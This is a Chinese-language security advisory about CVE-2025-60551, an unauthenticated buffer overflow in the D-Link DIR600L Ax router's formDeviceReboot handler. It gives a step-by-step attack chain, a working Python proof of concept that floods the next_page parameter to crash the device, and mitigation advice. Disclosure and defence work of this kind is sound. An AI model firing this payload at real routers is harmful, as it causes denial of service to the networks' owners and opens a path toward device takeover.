IPBUF安全漏洞报告
English
CVE-2025-60551 CVSS 7.5 高危

D-Link DIR600L Ax缓冲区溢出漏洞(CVE-2025-60551)

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-60551
漏洞类型
缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR600L Ax FW116WWb01

相关标签

缓冲区溢出D-Link DIR600L路由器漏洞CVE-2025-60551拒绝服务formDeviceReboot网络设备漏洞无需认证远程代码执行

漏洞概述

D-Link DIR600L Ax FW116WWb01版本路由器存在缓冲区溢出漏洞。该漏洞位于formDeviceReboot函数中,攻击者可通过构造恶意的next_page参数触发缓冲区溢出。由于该漏洞无需认证即可利用,且可通过网络远程触发,对设备可用性造成严重影响。成功利用此漏洞可能导致设备重启、拒绝服务,甚至可能执行任意代码。DIR-600L是D-Link推出的入门级无线路由器,广泛应用于家庭和小型办公网络环境中,因此该漏洞可能影响大量用户。攻击者无需特殊权限或用户交互即可发动攻击,这大大增加了漏洞的严重性和利用可能性。

技术细节

漏洞根源在于D-Link DIR600L Ax路由器的Web管理界面中formDeviceReboot函数对next_page参数处理不当。当用户提交包含超长字符串的next_page参数时,该函数未进行充分的边界检查直接将数据复制到固定大小的缓冲区中,导致缓冲区溢出。攻击者可通过发送精心构造的HTTP请求到路由器的Web管理接口,在next_page参数中注入超过缓冲区容量的数据。溢出会覆盖相邻内存区域,可能导致程序控制流被劫持或触发拒绝服务条件。由于处理函数直接暴露在网络接口上,且没有任何认证机制保护,攻击者可以在未登录状态下直接发送恶意请求。该漏洞影响路由器重启功能相关的代码路径,攻击成功后可造成设备崩溃或重启。

攻击链分析

STEP 1
步骤1
攻击者识别目标D-Link DIR600L Ax路由器并确认其运行FW116WWb01固件版本
STEP 2
步骤2
攻击者构造包含超长字符串的恶意next_page参数(缓冲区溢出载荷)
STEP 3
步骤3
攻击者通过HTTP GET或POST请求向路由器的/formDeviceReboot端点发送恶意参数
STEP 4
步骤4
路由器Web服务处理请求时,formDeviceReboot函数未对输入进行边界检查
STEP 5
步骤5
超长字符串溢出固定大小缓冲区,覆盖相邻内存区域
STEP 6
步骤6
成功利用可导致设备崩溃重启、拒绝服务或可能的代码执行
STEP 7
步骤7
攻击者可能通过精心构造的ROP链实现远程代码执行,完全控制设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60551 PoC - Buffer Overflow in formDeviceReboot # Target: D-Link DIR600L Ax FW116WWb01 target_ip = "192.168.0.1" # Router IP target_port = 80 # Construct malicious payload with oversized next_page parameter # Buffer overflow occurs when data exceeds expected buffer size buffer_size = 2000 # Adjust based on buffer size payload = "A" * buffer_size url = f"http://{target_ip}:{target_port}/formDeviceReboot" params = { "next_page": payload } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Alternative POST request data = { "next_page": "A" * 2000 } try: response = requests.post(url, data=data, timeout=10) print(f"[*] POST request sent") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

影响范围

D-Link DIR600L Ax FW116WWb01

防御指南

临时缓解措施
在厂商发布修复补丁前,建议通过防火墙或访问控制列表限制对路由器WAN接口Web管理端口(80/443)的访问,仅允许受信任的IP地址访问管理界面。同时建议将路由器Web管理界面绑定至仅允许局域网访问,关闭远程管理功能,并定期检查设备运行状态以便及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表